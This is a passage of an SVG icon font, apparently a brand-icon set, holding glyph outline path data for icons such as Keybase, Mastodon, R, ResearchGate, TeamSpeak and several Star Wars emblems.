1.09961 22.8008 1.09961 33.1006v169.5h32.0996v-80.6006c15.7002 18.7002 37.4004 24.2002 58.7002 24.2002c35.7002 0 75.4004 -24.0996 75.4004 -76.2002c0 -5.59961 -0.5 -11 -1.5 -16.1992 +c7.09961 24.3994 34.2998 33.5 76.7002 34.3994c13.6992 0.299805 29 0.400391 41.6992 0.400391v3.39941c0 23.4004 -15 33 -41 33c-19.2998 0 -33.5996 -8 -35 -21.7998h-33.6992c3.59961 34.4004 39.6992 43.1006 71.5 43.1006c27.3994 0 51.7998 -7 63.2998 -26 +l-10.9004 20.5996h37.5l54.9004 -109.9zM243.7 134.2c29.7998 0 50.2002 21.5 50.2002 53.7998c0 32.4004 -20.4004 53.7998 -50.2002 53.7998c-29.6006 0 -50.2002 -21.3994 -50.2002 -53.7998c0 -32.2998 20.5996 -53.7998 50.2002 -53.7998zM444.6 181.5v3.2998 +c-11.7998 0 -26.2998 -0.0996094 -39.3994 -0.599609c-29.1006 -0.900391 -47.2002 -6.2002 -47.2002 -25.2998c0 -12.4004 9.90039 -25.8008 35 -25.8008c33.7002 0 51.5996 18.4004 51.5996 48.4004zM32.7002 179.9c3.5 -58.3008 79.2002 -57.4004 91.2002 -21.6006 +h33.0996c-6.40039 -34.3994 -43 -46.0996 -74.4004 -46.0996c-57.1992 0 -82.5 31.5 -82.5 74c0 46.7998 26.2002 77.5996 83 77.5996c45.3008 0 78.4004 -23.7002 78.4004 -75.3994v-8.5h-128.8zM127.7 201.3c-2.2998 54.7002 -87.5 56.6006 -94.4004 0h94.4004z" /> + <glyph glyph-name="keybase" unicode="" +d="M286.17 29c9.93457 0 18 -8.06543 18 -18s-8.06543 -18 -18 -18s-18 8.06543 -18 18s8.06543 18 18 18zM398.09 176.6c22.9102 -33.46 35.9102 -72.3398 35.9102 -110.92c0 -31.6797 -5 -60.6797 -14.5996 -86.2295 +c-3.04004 -8.0498 -10.9502 -12.7197 -18.3701 -11.1504c-6.83984 1.24023 -11.1201 9.28027 -8.60059 15.7402c11.1904 28.71 14.8799 58.3398 14.8799 81.6396c-0.0634766 9.75 -1.02246 19.1807 -2.7998 28.4307c-0.649414 -1.06055 -1.12988 -2.2207 -1.84961 -3.2207 +c-17.29 -24.5293 -50.54 -33.8896 -84.7402 -23.8398c-78.8701 23.1699 -178.02 3.81055 -236.25 -38.5898l24.6602 74.1104l-46.8203 -59.8301c2.4834 -18.6582 7.96191 -36.7539 15.7598 -53.1299c6.25 -13.1904 0.460938 -18.2402 -3.75 -20.1104 +c-4.76953 -2.12012 -13.8594 -2.7998 -19.6396 7.33008c-6.41504 11.584 -11.4131 24.3486 -14.5596 37.5596l-23.3203 -29.7998v33.6406c0 55.7695 0 125.109 62.6504 188.409c13.7461 13.917 29.1787 25.7891 46.29 35.54l-8.93066 0.540039 +c-27.8799 1.64062 -49.2402 24.8506 -47.6299 51.8506l2.36035 36.6797c0 -6.24023 0.139648 45.8799 50.75 45.8799c2.05957 0 -0.470703 0.120117 41.0596 -2.33008c2.82715 -0.19043 5.60742 -0.616211 8.29004 -1.25c7.41992 11.3398 15.6504 22.8301 24.3398 34.8906 +l5.48047 7.55957l22.8994 -13.5195c-11.29 -24 -10 -33 -9.39941 -35c9.08008 0.229492 20 -1.6709 32.4102 -5.77051c31.2002 -10.3584 53.6846 -39.8262 53.6846 -74.4844c0 -10.4883 -2.0625 -20.498 -5.80469 -29.6455 +c6.18652 -2.13965 12.3135 -4.56348 18.3799 -7.27051c47.8896 -21.2598 77.7598 -59.0898 87.2598 -73.71zM142.37 319.42c1.87695 6.54492 4.25684 13.041 7 19.1699l-29.1104 1.73047c0.610352 -0.0507812 -12.2598 0.849609 -13.2598 -11.3203l-2.41016 -36.6602 +c-0.00683594 -0.174805 -0.00292969 -0.34375 -0.00292969 -0.520508c0 -6.60449 5.22461 -11.998 11.7627 -12.2695l22.3809 -1.33984c-0.457031 3.73438 -0.692383 7.34863 -0.692383 11.2061c0 2.81836 0.125977 5.6084 0.37207 8.36426l-13.1299 0.779297l1.38965 21.79 +zM290.79 147.24c2.27441 1.75195 3.72949 4.50586 3.72949 7.59668c0 2.19922 -0.742188 4.22559 -1.98926 5.84277l-81.0898 96.3203c-1.9043 2.21094 -4.72949 3.60156 -7.87305 3.60156c-2.42578 0 -4.65918 -0.833984 -6.42773 -2.23145 +c-2.27344 -1.74805 -3.72754 -4.49902 -3.72754 -7.58594c0 -2.19531 0.741211 -4.21973 1.98828 -5.83398c0.0898438 -0.140625 18.5996 -22.1406 18.5996 -22.1406l-16.9102 -13.29c-1.75879 -1.34863 -2.88477 -3.47461 -2.88477 -5.86133 +c0 -1.68359 0.564453 -3.23633 1.51465 -4.47852c0.0800781 -0.109375 2.37988 -2.91113 3.7998 -4.5293c1.4209 -1.61914 3.50977 -2.63477 5.83105 -2.63477c1.79395 0 3.44531 0.610352 4.75977 1.63477l17.0898 13.4492l14.1396 -16.7393l-34.5703 -27.1807 +c-1.74805 -1.34961 -2.86621 -3.46875 -2.86621 -5.84668c0 -1.69043 0.569336 -3.24805 1.52637 -4.49316l15.7803 -18.6396c1.48438 -1.72363 3.68555 -2.80762 6.13574 -2.80762c1.88379 0 3.61816 0.645508 4.99414 1.72754l34.4199 27l9.68066 -11.4902 +c1.92676 -2.2041 4.76465 -3.58789 7.91992 -3.58789c2.4209 0 4.65234 0.820312 6.42969 2.19824zM187.44 29c9.93359 0 18 -8.06543 18 -18s-8.06641 -18 -18 -18c-9.93457 0 -18 8.06543 -18 18s8.06543 18 18 18z" /> + <glyph glyph-name="mastodon" unicode="" +d="M433 268.89c0 0 0.799805 -71.6992 -9 -121.5c-6.23047 -31.5996 -55.1104 -66.1992 -111.23 -72.8994c-20.0996 -2.40039 -93.1191 -14.2002 -178.75 6.7002c0 -0.116211 -0.00390625 -0.119141 -0.00390625 -0.235352c0 -4.63281 0.307617 -9.19434 0.904297 -13.665 +c6.62988 -49.5996 49.2197 -52.5996 89.6299 -54c40.8105 -1.2998 77.1201 10.0996 77.1201 10.0996l1.7002 -36.8994s-28.5098 -15.2998 -79.3203 -18.1006c-28.0098 -1.59961 -62.8193 0.700195 -103.33 11.4004c-112.229 29.7002 -105.63 173.4 -105.63 289.1 +c0 97.2002 63.7197 125.7 63.7197 125.7c61.9209 28.4004 227.96 28.7002 290.48 0c0 0 63.71 -28.5 63.71 -125.7zM357.88 143.69c0 122 5.29004 147.71 -18.4199 175.01c-25.71 28.7002 -79.7197 31 -103.83 -6.10059l-11.5996 -19.5l-11.6006 19.5 +c-24.0098 36.9004 -77.9297 35 -103.83 6.10059c-23.6094 -27.1006 -18.4092 -52.9004 -18.4092 -175h46.7295v114.2c0 49.6992 64 51.5996 64 -6.90039v-62.5098h46.3301v62.5c0 58.5 64 56.5996 64 6.89941v-114.199h46.6299z" /> + <glyph glyph-name="r-project" unicode="" horiz-adv-x="581" +d="M581 221.4c0 -54.8008 -33.9004 -104.301 -88.4004 -139.7l67.4004 -113.7h-112l-40.0996 75.4004c-21.8008 -6.5 -45.1006 -11.2002 -69.4004 -13.9004v-61.5h-99.0996v61.9004c-136.101 16.0996 -239.4 95.6992 -239.4 191.5c0 107.5 130.1 194.6 290.5 194.6 +s290.5 -87.0996 290.5 -194.6zM114.2 206.9c0 -52.8008 51.0996 -98.4004 125.2 -119.9v208.3h199s90.5996 -1.59961 90.5996 -87.8994c0 -86.3008 -86.5996 -92.7002 -86.5996 -92.7002s17.5996 -5.2998 27.7998 -10.5c1.7002 -0.799805 4 -2.10059 6.39941 -3.7002 +c43.8008 21.4004 70.3008 56.2998 70.3008 106.4c0 92.2998 -90 133 -211.9 133s-220.8 -59.5 -220.8 -133zM339.3 168.6c49.6006 0 87.7998 -8.19922 87.7998 28.3008c0 34.0996 -30 27.2998 -87.7998 27.2998v-55.6006zM338.4 96.0996v-22.0996 +c17.5996 0.0996094 34.5 1 50.5996 2.90039c-5.09961 7.5 -13.2002 19.1992 -24 19.1992h-26.5996z" /> + <glyph glyph-name="researchgate" unicode="" +d="M0 416h448v-448h-448v448zM262.2 81.5996v7.30078c-10 0 -20 6.89941 -27.2002 14.6992c-12.2002 13.3008 -28.5996 34.7002 -42.2002 58.9004c22.5 5.2998 39.2002 26.4004 39.2002 47.5c0 31.2002 -24.2002 45.5996 -55.9004 45.5996 +c-17.7998 0 -45.0996 -1.59961 -70.8994 -0.599609v-8.09961c15.5996 -2.90039 22 -1.30078 22 -23.9004v-109.4c0 -22.5996 -6.5 -21 -22 -23.8994v-8.10059c7.5 0.200195 20.5 0.800781 33.5996 0.800781c12.5 0 28.7002 -0.5 35.6006 -0.800781v8.10059 +c-19.8008 2.7002 -25.8008 0.399414 -25.8008 23.8994v46.4004c6.7002 -0.599609 12.5 -0.599609 21.4004 -0.599609c16.9004 -30.3008 33 -53 42.2002 -63.6006c16.7998 -20.2002 43.3994 -17.2002 50 -14.2002zM285.1 216.6c38.7002 0 34 29.4004 34 49.9004h-30.3994 +v-10.7002h17.8994c0 -15.8994 -7.39941 -26.7998 -21.5 -26.7998c-11.2998 0 -17.8994 9.90039 -17.8994 23.2998v26.7998c0 12.4004 11.7998 19.7002 19.7002 19.7002c14.1992 0 19.6992 -12.5 19.6992 -12.5l10.7002 7.2002s-5.2002 17.9004 -30.3994 17.9004 +c-25.2002 0 -34 -18.2002 -34 -30.4004v-32.2002c0 -16.5 8.89941 -32.2002 32.1992 -32.2002zM168.6 171.9c-9.39941 0 -13.5996 0.299805 -20 0.799805v69.7002c6.40039 0.599609 15 0.599609 22.5 0.599609c23.3008 0 37.2002 -12.2002 37.2002 -34.5 +c0 -21.9004 -15 -36.5996 -39.7002 -36.5996z" /> + <glyph glyph-name="teamspeak" unicode="" horiz-adv-x="512" +d="M244.2 101.21c-2.40039 -12.5 -10.6006 -20 -22.5 -24.2998c-9.2002 -3.2002 -50.1006 -1.60059 -61.7002 -1c-18 1.2998 -33.2002 8.5 -43.4004 24c-14.5 22.5 -19.5 47.7002 -14.5 73.8994c4.60059 24.5 24.6006 34.7002 46.3008 22.7002 +c15.1992 -7.5 42.5 -27.3994 63.3994 -46.5996c20.4004 -18.7002 34.7998 -36.4004 32.4004 -48.7002zM449.2 80.4102c6.7002 -5.41016 11.2002 -22 11.5996 -32.1006c1 -50.3994 -23.8994 -68 -46.5996 -85.3994c-65.1006 -50 -295.101 -16.9004 -145.4 -6.40039 +c127.4 9 164.101 96.1006 172.101 121.5c0.679688 2.0918 2.64941 3.60352 4.9668 3.60352c1.2666 0 2.42871 -0.452148 3.33301 -1.20312zM511.2 202.81c0 -17.1992 1.89941 -34.5996 -1 -51.6992c-4 -24.7002 -29.1006 -41.7002 -53.2002 -36.7002 +c-7.2002 1.7002 -9.40039 7.2002 -9.40039 14.2002c0 28.0996 0.800781 56.3994 0 84.5996c-1.89941 75.79 -36.1992 132.79 -102.3 169.4c-111 60.3896 -253.2 -7 -277.8 -131.5c-6.09961 -30.4004 -1.7002 -48.3008 -3.7002 -125.801 +c-0.299805 -7.19922 -4.2998 -11.1992 -12 -11.5c-30.7998 -1.39941 -51.7998 18.2002 -51.7998 49v20.9004l0.799805 26.4902c2.40039 15.5 10.7002 27 24.9004 34c3.5 1.7998 5.7002 3.5 6.39941 7.7998c6.10059 33.4102 19.5 64 39.3008 91.71 +c2.2998 3.09961 4 5.2998 1 9.2998c-3.7002 5.40039 -1 10.2002 3 14.5c28.0996 31.7998 61.8994 55.1006 102 67.4004c96 29.4668 180.1 9.29688 252.3 -60.5098c6.7002 -6.40039 15.5 -12.9004 7 -24.4004c-1.2998 -1.7998 1.09961 -3.5 2.2002 -5 +c20.0586 -27.0264 34.2529 -59.1357 40.3994 -93.5898c0.900391 -3.7002 3 -5.10059 5.90039 -6.40039c17.3994 -8.7998 25.7002 -23.2998 26 -42.2002zM351.6 71.3096l-51.5996 7.7002c-22.7998 5.90039 -51 32.7002 22.2002 60.7998 +c21.5996 8.5 85.7002 37.2002 87.7998 -8c0.900391 -32 -21.9004 -63.2998 -58.4004 -60.5z" /> + <glyph glyph-name="first-order-alt" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 -48.21c132.66 0 240.21 107.55 240.21 240.21s-107.55 240.21 -240.21 240.21s-240.21 -107.55 -240.21 -240.21s107.55 -240.21 240.21 -240.21z +M248 411.71c121.34 0 219.71 -98.3701 219.71 -219.71s-98.3701 -219.71 -219.71 -219.71s-219.71 98.3701 -219.71 219.71s98.3701 219.71 219.71 219.71zM248 -19.5098c116.81 0 211.51 94.7002 211.51 211.51s-94.7002 211.51 -211.51 211.51 +s-211.51 -94.6895 -211.51 -211.51s94.7002 -211.51 211.51 -211.51zM434.23 143.47c-4.46582 -17.1914 -11.3633 -33.7256 -20.1309 -48.6895l-74.1299 35.8799l61.4805 -54.8203c-10.709 -14.1553 -23.0713 -26.5469 -37.2002 -37.29l-54.7998 61.5703l35.8799 -74.2705 +c-14.9385 -8.80469 -31.4502 -15.7354 -48.6299 -20.2295l-27.29 78.4697l4.79004 -82.9297c-8.61035 -1.17969 -17.4004 -1.7998 -26.3301 -1.7998s-17.7197 0.620117 -26.3301 1.7998l4.75977 82.46l-27.1494 -78.0303 +c-17.1836 4.48828 -33.7021 11.4092 -48.6504 20.2002l35.9297 74.3398l-54.8701 -61.6396c-14.1318 10.7412 -26.5 23.1299 -37.2197 37.2793l61.5898 54.9004l-74.2598 -35.9297c-8.77051 14.9639 -15.6709 31.4971 -20.1396 48.6895l77.8398 27.1104l-82.2305 -4.75977 +c-1.15918 8.56934 -1.7793 17.3193 -1.7793 26.21c0 9 0.629883 17.8398 1.81934 26.5098l82.3799 -4.76953l-77.9395 27.1592c4.5 17.1895 11.4307 33.7148 20.2295 48.6699l74.2207 -35.9199l-61.5205 54.8604c10.7412 14.1328 23.1299 26.501 37.2803 37.2197 +l54.7598 -61.5293l-35.8301 74.1699c14.9521 8.76465 31.4717 15.6621 48.6504 20.1299l26.8701 -77.25l-4.70996 81.6094c8.60938 1.18066 17.3896 1.80078 26.3193 1.80078c8.93066 0 17.71 -0.620117 26.3203 -1.80078l-4.74023 -82.1592l27.0498 77.7598 +c17.2705 -4.5 33.6006 -11.3506 48.6309 -20.1699l-35.8203 -74.1201l54.7197 61.4697c14.1426 -10.7178 26.5186 -23.0908 37.2402 -37.2295l-61.4502 -54.7705l74.1201 35.8604c8.78906 -14.9492 15.71 -31.4678 20.2002 -48.6504l-77.8105 -27.0996l82.2402 4.75 +c1.19043 -8.66016 1.82031 -17.5 1.82031 -26.4902c0 -8.87988 -0.610352 -17.6299 -1.78027 -26.1904l-82.1201 4.75z" /> + <glyph glyph-name="fulcrum" unicode="" horiz-adv-x="320" +d="M95.75 283.86l-35.3799 -43.5508l-35.3701 43.5508l35.3799 43.5498zM144.23 448v-211.11l-41.0801 -44.8896l41.0801 -44.8896v-211.11l-20.5107 198.18l-51 57.8203l50.9707 57.8203zM223.9 283.86l35.3799 43.5498l35.3799 -43.5498l-35.3799 -43.5508zM175.42 236.86 +v211.14l20.5801 -198.18l51 -57.8203l-51 -57.8203l-20.5801 -198.18v211.11l41.0801 44.8896z" /> + <glyph glyph-name="galactic-republic" unicode="" horiz-adv-x="496" +d="M248 -56c-136.75 0 -248 111.25 -248 248s111.25 248 248 248s248 -111.25 248 -248s-111.25 -248 -248 -248zM248 423.47c-127.63 0 -231.47 -103.84 -231.47 -231.47s103.84 -231.47 231.47 -231.47s231.47 103.84 231.47 231.47s-103.84 231.47 -231.47 231.47z +M275.62 401.66c37.6602 -4.91016 72.21 -19.7402 100.96 -41.7998l-17.3896 -17.3604c-23.9795 17.7627 -52.7207 29.9941 -83.5703 34.54v24.6201zM220.25 401.59v-24.54c-30.9697 -4.60938 -59.4502 -16.8301 -83.5195 -34.6699h-0.0800781l-17.2803 17.3604 +c28.7197 22.0498 63.2402 36.9102 100.88 41.8496zM232.5 351.42h31v-82.8604c10.0498 -2.0293 19.3701 -6.00977 27.6201 -11.5l58.6699 58.6709l21.9297 -21.9307l-58.6699 -58.6699c5.46973 -8.24023 9.48047 -17.5996 11.5 -27.6201h82.8701v-31h-82.8701 +c-2.03027 -10.0195 -6.04004 -19.3096 -11.5 -27.54l58.6699 -58.6895l-21.9297 -21.9307l-58.6699 58.6904c-8.25 -5.49023 -17.5703 -9.52051 -27.6201 -11.5498v-82.9004h-31v82.9004c-10.0039 2.02148 -19.4531 6.00977 -27.6699 11.4697l-58.6201 -58.6201 +l-21.9297 21.9297l58.6699 58.6904c-5.45996 8.23047 -9.4502 17.5205 -11.4697 27.54h-82.9004v31h82.9004c2.01953 10.0303 6 19.3896 11.4697 27.6201l-58.6699 58.6699l21.9297 21.9297l58.6201 -58.5898c8.25 5.48047 17.6299 9.38965 27.6699 11.4199v82.8701z +M415.74 320.7c22.0996 -28.7402 36.9795 -63.3398 41.9297 -101.03h-24.6201c-4.58496 30.8906 -16.8604 59.665 -34.6699 83.6699zM80.1904 320.57l17.3896 -17.3906c-17.8301 -24.0693 -29.9902 -52.5596 -34.5898 -83.5195h-24.6504 +c4.94043 37.6494 19.79 72.1895 41.8506 100.91zM38.3398 164.33l24.6504 0.00976562c4.58984 -30.9502 16.7002 -59.4502 34.5098 -83.5195l-17.3604 -17.3906c-22.0498 28.7207 -36.8799 63.2607 -41.7998 100.9zM433.04 164.33h24.6201 +c-4.9502 -37.6699 -19.8506 -72.2197 -41.9297 -100.96l-17.3604 17.3604c17.8701 24.0996 30.0596 52.6094 34.6699 83.5996zM136.66 41.6201c24.0703 -17.8604 52.6094 -30.0205 83.5996 -34.6504v-24.6396c-37.6602 4.9502 -72.2295 19.8398 -100.96 41.9297z +M359.19 41.5703h0.0791016l17.3105 -17.3906c-28.75 -22.0596 -63.29 -36.9297 -100.96 -41.8496v24.5703c30.9902 4.58984 59.4795 16.8301 83.5703 34.6699z" /> + <glyph glyph-name="galactic-senate" unicode="" horiz-adv-x="512" +d="M249.86 414.52h12.2793v-26.0693c13.5801 -20.6201 23.8604 -108.59 24.4902 -215.351c-11.7402 15.6201 -19.1299 33.3301 -19.1299 48.2402v16.8799c0.0302734 5.32031 -0.75 10.5303 -2.19043 15.6504c-0.649414 2.13965 -1.38965 4.07031 -2.61914 5.82031 +c-1.23047 1.73926 -3.44043 3.79004 -6.68066 3.79004c-3.25 0 -5.4502 -2.04004 -6.67969 -3.79004c-1.23047 -1.74023 -1.96973 -3.68066 -2.62012 -5.82031c-1.44043 -5.12012 -2.21973 -10.3301 -2.19043 -15.6504v-16.8799 +c0 -14.9102 -7.38965 -32.6201 -19.1299 -48.2402c0.610352 106.761 10.8906 194.73 24.4707 215.351v26.0693zM223.52 266.75c-1.59961 -22.4004 -2.75 -46.5195 -3.47949 -72.0703c-23.2998 -11.2793 -40.7705 -33.1602 -46.3203 -59.5098 +c-7.71973 -2.25977 -22.71 -3.91992 -40.4893 -4.21973c-7.51074 3.66016 -16.5 5.85938 -26.1807 6.04004c1.90039 14.9102 5.87012 29.1699 11.6504 42.4199c15.4395 -8.10059 30.9297 -8.66016 35.4697 -0.959961c4.57031 7.74023 -3.58984 21.04 -18.3203 30.6602 +c8.68066 11.7695 18.9805 22.2998 30.5605 31.0898c9.50977 -15.5898 23.3594 -24.4404 31.3594 -19.8203c8.05078 4.65039 7.19043 21.1699 -1.70996 37.29c8.76074 3.88965 17.9404 6.92969 27.46 9.08008zM288.48 266.75 +c9.45508 -2.12695 18.7754 -5.23145 27.4492 -9.08008c-8.89941 -16.1299 -9.75977 -32.6396 -1.70996 -37.29c8 -4.62012 21.8506 4.23047 31.3604 19.8203c11.5801 -8.79004 21.8799 -19.3203 30.5596 -31.0898c-14.7197 -9.61035 -22.8896 -22.9199 -18.3193 -30.6602 +c4.54004 -7.7002 20.0293 -7.14062 35.4697 0.959961c5.79004 -13.25 9.75 -27.5098 11.6504 -42.4199c-9.68066 -0.19043 -18.6709 -2.37988 -26.1807 -6.04004c-17.7793 0.299805 -32.7695 1.95996 -40.4902 4.21973c-5.5498 26.3496 -23.0293 48.2305 -46.3193 59.5098 +c-0.719727 25.5508 -1.87988 49.6699 -3.46973 72.0703zM256 258.15c3.23047 0 5.86035 -8.81055 6.08984 -19.9307h0.0498047v-16.8799c0 -41.4199 49.0107 -95.04 93.4902 -95.04c52 0 122.76 1.4502 156.37 -29.1699v-2.50977 +c-9.41992 -17.1104 -20.5801 -33.1699 -33.1797 -47.9697c-12.5303 21.0898 -51.5898 40.96 -108.021 41.3496c-45.6797 -1.01953 -79.0195 -20.3301 -90.7598 -40.8701c-0.00976562 -0.00976562 0.00976562 -0.0400391 0 -0.0498047 +c-7.66992 -2.13965 -15.8496 -3.23047 -24.04 -3.20996c-8.19043 -0.0205078 -16.3701 1.07031 -24.04 3.20996c-0.00976562 0.00976562 0.00976562 0.0400391 0 0.0498047c-11.7295 20.54 -45.0801 39.8506 -90.7598 40.8701 +c-56.4307 -0.400391 -95.5 -20.2598 -108.021 -41.3496c-12.5996 14.7998 -23.7598 30.8496 -33.1797 47.9697v2.50977c33.6201 30.6201 104.37 29.1699 156.37 29.1699c44.4795 0 93.4902 53.6201 93.4902 95.04v16.8799h0.0498047 +c0.229492 11.1201 2.85938 19.9307 6.08984 19.9307zM256 161.56c-22.4199 0 -40.5996 -18.1797 -40.5996 -40.5996s18.1797 -40.6504 40.5996 -40.6504s40.5996 18.2305 40.5996 40.6504s-18.1797 40.5996 -40.5996 40.5996zM256 153.92 +c18.1904 0 32.96 -14.7695 32.96 -32.96s-14.7695 -32.96 -32.96 -32.96s-32.96 14.7695 -32.96 32.96s14.7695 32.96 32.96 32.96zM256 147.78c-14.8096 0 -26.8203 -12.0107 -26.8203 -26.8203s12.0107 -26.8203 26.8203 -26.8203s26.8203 12.0107 26.8203 26.8203 +s-12.0107 26.8203 -26.8203 26.8203zM141.2 81.1104c18.75 -0.419922 35.1895 -4.18066 48.6094 -9.66992c12.5508 -16.0303 29.1602 -30.04 49.5801 -33.0703c0.100586 -0.00976562 0.169922 -0.0302734 0.270508 -0.0498047 +c0.0498047 -0.0107422 0.109375 -0.0400391 0.160156 -0.0507812c5.23926 -1.06934 10.6396 -1.59961 16.1895 -1.59961c5.56055 0 10.9502 0.530273 16.1904 1.59961c0.0498047 0.0107422 0.109375 0.0400391 0.160156 0.0507812 +c0.0996094 0.00976562 0.179688 0.0292969 0.269531 0.0498047c20.4199 3.04004 37.04 17.04 49.5801 33.0703c13.4199 5.5 29.8496 9.25 48.6104 9.66992c10.1797 -0.0800781 21.5996 -0.360352 30.5 -1.66016c-0.430664 -4.41992 -1.51074 -18.6299 -7.11035 -29.7598 +c-9.11035 2.55957 -18.3604 3.89941 -27.6201 3.89941c-41.2803 -0.939453 -71.4795 -34.3496 -78.2598 -74.4697l-0.110352 -4.7002c-10.3994 -1.91992 -21.1797 -2.93945 -32.21 -2.93945c-11.0195 0 -21.8096 1.0293 -32.21 2.93945l-0.109375 4.7002 +c-6.78027 40.1201 -36.9805 73.5303 -78.2607 74.4697c-9.25977 0 -18.5098 -1.33984 -27.6201 -3.89941c-5.59961 11.1299 -6.67969 25.3398 -7.10938 29.7598c8.89941 1.2998 20.3096 1.58984 30.5 1.66016z" /> + <glyph glyph-name="jedi-order" unicode="" +d="M398.5 74.4004c0 0 26.2998 16.1992 49.9004 77.6992c0 0 -17 -183.3 -222 -185.699h-4.10059c-205.1 2.39941 -222 185.699 -222 185.699c23.2002 -61.5996 49.4004 -77.6992 49.4004 -77.6992c-95.9004 122.1 -17.2002 233.1 -17.2002 233.1 +c-45.4004 -85.7002 41.4004 -170.5 41.4004 -170.5c-105 171.6 60.5 271.5 60.5 271.5c-96.9004 -72.5996 10.0996 -190.7 10.0996 -190.7c-85.7998 -158.399 68.5996 -230.1 68.5996 -230.1s0.400391 16.8994 2.2002 85.7002l-34.5 -36.2002l24.2002 47.3994 +l-62.5996 9.10059l62.5996 9.09961l-20.2002 55.5l31.4004 -45.8994c2.2998 87.8994 7.89941 305.899 7.89941 306.899v2.40039v-1v1v-2.40039c0.100586 -1.7998 5.7002 -219.2 7.90039 -306.899l31.4004 45.8994l-20.2002 -55.5l62.5996 -9.09961l-62.5996 -9.10059 +l24.2002 -47.3994s-30.2002 31.7002 -34.5 36.2002c1.7998 -68.8008 2.19922 -85.7002 2.19922 -85.7002s154.4 71.7002 68.6006 230.1c0 0 107 118 10.0996 190.7c0 0 165.5 -100 60.5 -271.5c0 0 86.7998 84.7002 41.4004 170.5c0 0 78.7002 -111 -17.2002 -233.1z" /> + <glyph glyph-name="mandalorian" unicode="" +d="M232.27 -63.8896c-1 3.25977 -1.68945 15.8301 -1.38965 24.5801c0.549805 15.8896 1 24.7197 1.40039 28.7598c0.639648 6.2002 2.87012 20.7197 3.2793 21.3799c0.600586 1 0.400391 27.8701 -0.239258 33.1299c-0.310547 2.58008 -0.629883 11.9004 -0.69043 20.7305 +c-0.129883 16.4697 -0.530273 20.1191 -2.72949 24.7598c-1.10059 2.31934 -1.23047 3.83984 -1 11.4297c0.0546875 1.30957 0.0830078 2.62695 0.0830078 3.9502c0 3.00586 -0.142578 5.82715 -0.423828 8.75977c-2 13 -3.45996 27.7002 -3.25 33.9004 +s0.430664 7.14941 2.06055 9.66992c3.0498 4.70996 6.50977 14 8.62012 23.2695c2.25977 9.86035 3.87988 17.1807 4.58984 20.7402c1.1123 5.11914 2.61816 10.2246 4.41992 15.0498c2.26953 6.25 2.49023 15.3906 0.370117 15.3906 +c-0.299805 0 -1.37988 -1.2207 -2.41016 -2.70996c-1.03027 -1.49023 -4.75977 -4.80078 -8.29004 -7.36035c-8.37012 -6.08008 -11.7002 -9.38965 -12.6602 -12.5801s-1 -7.22949 -0.160156 -7.75977c0.34082 -0.209961 1.29004 -2.40039 2.11035 -4.87988 +c0.926758 -2.82617 1.42773 -5.84375 1.42773 -8.97754c0 -2.19824 -0.241211 -4.3252 -0.708008 -6.38281c-0.389648 -1.76953 -1 -5.46973 -1.45996 -8.22949c-0.459961 -2.76074 -1 -6.46094 -1.25 -8.2207c-0.181641 -1.55176 -0.731445 -3.01367 -1.5498 -4.25977 +c-1 -1 -1.13965 -0.910156 -2.0498 0.530273c-0.724609 1.4541 -1.22656 3.07324 -1.44043 4.75c-0.25 1.73926 -1.62988 7.10938 -3.08008 11.9297c-3.2793 10.9004 -3.51953 16.1504 -1 21c0.800781 1.39648 1.38086 2.96875 1.66992 4.61035 +c0 2.38965 -2.19922 5.31934 -7.40918 9.88965c-7 6.17969 -8.62988 7.91992 -10.2305 11.2998c-1.70996 3.60059 -3.05957 4.06055 -4.54004 1.54004c-1.78027 -3 -2.59961 -9.10938 -3 -22l-0.339844 -12.1895l2 -2.25c3.20996 -3.7002 12.0703 -16.4502 13.7803 -19.8301 +c3.41016 -6.74023 4.33984 -11.6904 4.41016 -23.5605c0.0693359 -11.8701 0.949219 -22.75 2 -24.71c0.359375 -0.660156 0.509766 -1.34961 0.339844 -1.51953s0.410156 -2.08984 1.29004 -4.27051c1.02539 -2.84082 1.73633 -5.8916 2.05957 -9 +c0.37207 -3.50684 0.950195 -6.99219 1.70996 -10.3701c2.23047 -9.55957 2.77051 -14.0801 2.39062 -20.1396c-0.200195 -3.26953 -0.530273 -11.0703 -0.730469 -17.3203c-1.30957 -41.7598 -1.84961 -58 -2 -61.21c-0.120117 -2 -0.389648 -11.5098 -0.599609 -21.0693 +c-0.360352 -16.3008 -1.30078 -27.3701 -2.41992 -28.6504c-0.640625 -0.729492 -8.07031 4.91016 -12.5205 9.49023c-3.75 3.87012 -4 4.79004 -2.83008 9.9502c0.700195 3 2.25977 18.29 3.33008 32.6191c0.360352 4.78027 0.80957 10.5 1 12.7109 +c0.830078 9.36914 1.66016 20.3496 2.61035 34.7793c0.55957 8.45996 1.33008 16.4404 1.71973 17.7305s0.889648 9.88965 1.12988 19.1094l0.429688 16.7705l-2.25977 4.2998c-1.71973 3.28027 -4.87012 6.94043 -13.2197 15.3398 +c-6 6.07031 -11.8398 12.2998 -12.9102 13.8506l-1.9502 2.80957l0.75 10.9004c1.08984 15.71 1.10059 48.5693 0 59.0596l-0.889648 8.7002l-3.28027 4.51953c-5.85938 8.08008 -5.7998 7.75 -6.21973 33.2705c-0.100586 6.07031 -0.379883 11.5 -0.629883 12.0596 +c-0.830078 1.87012 -3.0498 2.66016 -8.54004 3.05078c-8.86035 0.619141 -11 1.89941 -23.8506 14.5498c-6.14941 6 -12.3398 12 -13.75 13.1895c-2.80957 2.41992 -2.79004 2 -0.55957 9.62988l1.34961 4.65039l-1.68945 3 +c-0.764648 1.42578 -1.62793 2.78223 -2.58984 4.07031c-1.33008 1.50977 -5.5 10.8896 -6 13.4893c-0.100586 0.362305 -0.154297 0.743164 -0.154297 1.13672c0 1.05469 0.385742 2.02148 1.02441 2.76367c2.22949 2.86035 3.39941 5.67969 4.44922 10.7305 +c2.33008 11.1895 7.74023 26.0898 10.6006 29.2197c3.17969 3.46973 7.7002 1 9.41016 -5c1.33984 -4.79004 1.36914 -9.79004 0.0996094 -18.5498c-0.53418 -3.65918 -0.869141 -7.33594 -1 -11.1104c0 -4 0.19043 -4.69043 2.25 -7.38965 +c3.33008 -4.37012 7.72949 -7.41016 15.2002 -10.5205c1.71777 -0.71582 3.30566 -1.67969 4.71973 -2.84961c11.1699 -10.7207 18.6201 -16.1807 22.9502 -16.8506c5.17969 -0.799805 8 -4.54004 10 -13.3896c1.30957 -5.65039 4 -11.1396 5.45996 -11.1396 +c1.2041 0.246094 2.3418 0.729492 3.33008 1.38965c2 1.21973 2.25 1.73047 2.25 4.17969c-0.267578 6.07031 -0.943359 12.0078 -2 17.8398c-0.370117 1.66016 